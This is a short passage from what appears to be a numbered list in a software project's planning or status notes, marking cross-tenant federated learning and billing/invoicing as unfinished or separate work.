orchestration. 664- Cross tenant federated learning. The tables exist and have zero importers. 665- Billing and invoicing. Placements carry rates; turning that into invoicing is a separate product. 666